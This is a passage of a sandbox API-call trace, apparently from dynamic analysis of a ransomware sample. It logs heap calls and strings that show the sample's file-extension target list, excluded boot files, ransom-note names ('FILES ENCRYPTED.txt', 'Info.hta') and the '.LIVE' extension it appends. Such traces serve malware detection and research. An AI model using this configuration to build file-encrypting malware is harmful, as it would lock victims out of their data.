returned 0x56cb38 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cb50 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cb68 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cb80 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cb98 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cbb0 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cbc8 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cbe0 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x56cbf8 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cc10 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x56cc28 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cc40 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cc58 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cc70 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cc88 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cca0 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x56ccb8 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56ccd0 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cce8 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cd00 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cd18 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cd30 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cd48 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cd60 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cd78 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cd90 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cda8 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cdc0 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cdd8 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cdf0 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56ce08 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56ce20 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56ce38 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56ce50 [0034.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x56ce68 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12) returned 0x556050 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56ce80 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56ce98 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56ceb0 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cec8 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cee0 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cf20 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cf38 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cf50 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cf68 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cf80 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cf98 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cfb0 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cfc8 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cfe0 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cff8 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56d010 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56d028 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56d040 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56d058 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56d070 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x56d088 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x56d0a0 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x56d0b8 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x56d0d0 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x56d0e8 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55a168 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56d100 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55a178 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56d118 [0034.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56d130 [0034.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56d148 [0034.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x56d160 [0034.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x56d178 [0034.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56d190 [0034.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x56d1a8 [0034.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56d1c0 [0034.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56d1d8 [0034.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x56d1f0 [0034.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56d208 [0034.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x56d220 [0034.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x56d238 [0034.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56d250 [0034.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55a188 [0034.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56d268 [0034.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56d280 [0034.608] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5592e8, Size=0x800) returned 0x56d708 [0034.608] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0034.608] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56b700 | out: hHeap=0x520000) returned 1 [0034.608] lstrlenW (lpString="") returned 0 [0034.608] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56e048 | out: hHeap=0x520000) returned 1 [0034.608] lstrlenW (lpString=".LIVE") returned 5 [0034.608] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5348a0, Size=0x8) returned 0x5348a0 [0034.609] lstrlenW (lpString=".LIVE") returned 5 [0034.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56e048 | out: hHeap=0x520000) returned 1 [0034.609] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56e078, Size=0x20) returned 0x5344c0 [0034.609] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5344c0, Size=0x40) returned 0x556bd0 [0034.609] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x556bd0, Size=0x80) returned 0x57b708 [0034.609] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a1f8, Size=0x8) returned 0x55a208 [0034.609] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a208, Size=0x10) returned 0x56e078 [0034.609] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56e078, Size=0x20) returned 0x534498 [0034.609] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0034.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57b708 | out: hHeap=0x520000) returned 1 [0034.609] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56e0a8, Size=0x20) returned 0x555a80 [0034.609] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555a80, Size=0x40) returned 0x556bd0 [0034.609] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0034.609] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0034.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bd0 | out: hHeap=0x520000) returned 1 [0034.609] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56e0a8, Size=0x20) returned 0x555a80 [0034.609] lstrlenW (lpString="Info.hta") returned 8 [0034.609] lstrlenW (lpString="Info.hta") returned 8 [0034.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555a80 | out: hHeap=0x520000) returned 1 [0034.609] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x58d6f8, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 0x60 [0034.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58d6f8 | out: hHeap=0x520000) returned 1 [0034.609] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0034.609] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534498, Size=0x40) returned 0x556bd0 [0034.609] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56e0a8, Size=0x20) returned 0x534498 [0034.610] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56e0a8, Size=0x20) returned 0x555a80 [0034.610] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555a80, Size=0x40) returned 0x556c18 [0034.610] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x556c18, Size=0x80) returned 0x57b708 [0034.610] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57b708, Size=0x100) returned 0x55a500 [0034.610] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.610] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a500 | out: hHeap=0x520000) returned 1 [0034.610] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x58d6f8, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0034.610] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x59d700 | out: hHeap=0x520000) returned 1 [0034.610] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58d6f8 | out: hHeap=0x520000) returned 1 [0034.610] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a208, Size=0x8) returned 0x55a1f8 [0034.610] lstrlenW (lpString="%windir%;") returned 9 [0034.610] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534498 | out: hHeap=0x520000) returned 1 [0034.610] lstrlenW (lpString="C:\\Windows;") returned 11 [0034.610] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6f0 | out: hHeap=0x520000) returned 1 [0034.610] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56e0c0, Size=0x20) returned 0x534498 [0034.610] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534498, Size=0x40) returned 0x556c18 [0034.610] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x556c18, Size=0x80) returned 0x57b708 [0034.610] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57b708, Size=0x100) returned 0x55a500 [0034.610] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a238, Size=0x8) returned 0x55a248 [0034.610] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a248, Size=0x10) returned 0x56e108 [0034.610] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56e108, Size=0x20) returned 0x534498 [0034.610] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a208, Size=0x8) returned 0x55a248 [0034.610] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a218, Size=0x8) returned 0x55a208 [0034.611] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a238, Size=0x8) returned 0x55a258 [0034.611] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a258, Size=0x10) returned 0x56e1b0 [0034.611] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56e1b0, Size=0x20) returned 0x555a80 [0034.611] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a248, Size=0x10) returned 0x56e1b0 [0034.611] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a208, Size=0x10) returned 0x56e1e0 [0034.611] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a248, Size=0x8) returned 0x55a238 [0034.611] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a268, Size=0x8) returned 0x55a278 [0034.611] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56e1b0, Size=0x20) returned 0x555a30 [0034.611] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56e1e0, Size=0x20) returned 0x555990 [0034.611] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a288, Size=0x8) returned 0x55a298 [0034.611] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0034.611] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a500 | out: hHeap=0x520000) returned 1 [0034.611] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56e258, Size=0x20) returned 0x555aa8 [0034.611] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x57d6f0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0034.611] lstrlenW (lpString="C:\\") returned 3 [0034.611] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0034.612] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6f0 | out: hHeap=0x520000) returned 1 [0034.612] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a2c8, Size=0x82) returned 0x56bb90 [0034.612] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a2e8, Size=0x100) returned 0x56bc20 [0034.612] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56bd28, Size=0x104) returned 0x56be48 [0034.612] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57b818, Size=0x100) returned 0x56bf58 [0034.612] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56bb90, Size=0x104) returned 0x56c060 [0034.612] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56bc20, Size=0x200) returned 0x56c170 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a2d8 | out: hHeap=0x520000) returned 1 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c170 | out: hHeap=0x520000) returned 1 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56b7a8 | out: hHeap=0x520000) returned 1 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57b8a0 | out: hHeap=0x520000) returned 1 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56e2b8 | out: hHeap=0x520000) returned 1 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57b928 | out: hHeap=0x520000) returned 1 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56e2e8 | out: hHeap=0x520000) returned 1 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c060 | out: hHeap=0x520000) returned 1 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56e2d0 | out: hHeap=0x520000) returned 1 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56be48 | out: hHeap=0x520000) returned 1 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56b7c0 | out: hHeap=0x520000) returned 1 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56bdb8 | out: hHeap=0x520000) returned 1 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56b7d8 | out: hHeap=0x520000) returned 1 [0034.613] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56e2d0, Size=0x20) returned 0x555ad0 [0034.613] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555ad0, Size=0x40) returned 0x556c18 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a2a8 | out: hHeap=0x520000) returned 1 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56e258 | out: hHeap=0x520000) returned 1 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56b700 | out: hHeap=0x520000) returned 1 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56e288 | out: hHeap=0x520000) returned 1 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56bf58 | out: hHeap=0x520000) returned 1 [0034.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56e270 | out: hHeap=0x520000) returned 1 [0034.614] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a2b8 | out: hHeap=0x520000) returned 1 [0034.614] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56e2a0 | out: hHeap=0x520000) returned 1 [0034.614] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a5d8 | out: hHeap=0x520000) returned 1 [0034.614] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556130 | out: hHeap=0x520000) returned 1 [0034.614] lstrlenW (lpString="%systemdrive%") returned 13 [0034.614] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555aa8 | out: hHeap=0x520000) returned 1 [0034.614] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57b708 | out: hHeap=0x520000) returned 1 [0034.614] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a288 | out: hHeap=0x520000) returned 1 [0034.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x55b6e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0034.615] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56e2a0, Size=0x20) returned 0x555ad0 [0034.615] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555ad0, Size=0x40) returned 0x556c60 [0034.615] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x556c60, Size=0x80) returned 0x57b708 [0034.615] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57b708, Size=0x100) returned 0x56bb90 [0034.615] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56bb90, Size=0x200) returned 0x56bb90 [0034.615] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56bb90, Size=0x400) returned 0x56bb90 [0034.615] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56bb90, Size=0x800) returned 0x56bb90 [0034.615] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56bb90, Size=0x1000) returned 0x570318 [0034.615] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a288, Size=0x8) returned 0x55a2a8 [0034.615] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a2a8, Size=0x10) returned 0x56e2b8 [0034.615] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56e2b8, Size=0x20) returned 0x555ad0 [0034.615] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555ad0, Size=0x40) returned 0x556c60 [0034.615] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x556c60, Size=0x80) returned 0x57b708 [0034.615] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57b708, Size=0x100) returned 0x571338 [0034.615] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x571338, Size=0x200) returned 0x56bf90 [0034.615] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56bf90, Size=0x400) returned 0x573320 [0034.615] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x573320, Size=0x800) returned 0x574328 [0034.616] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.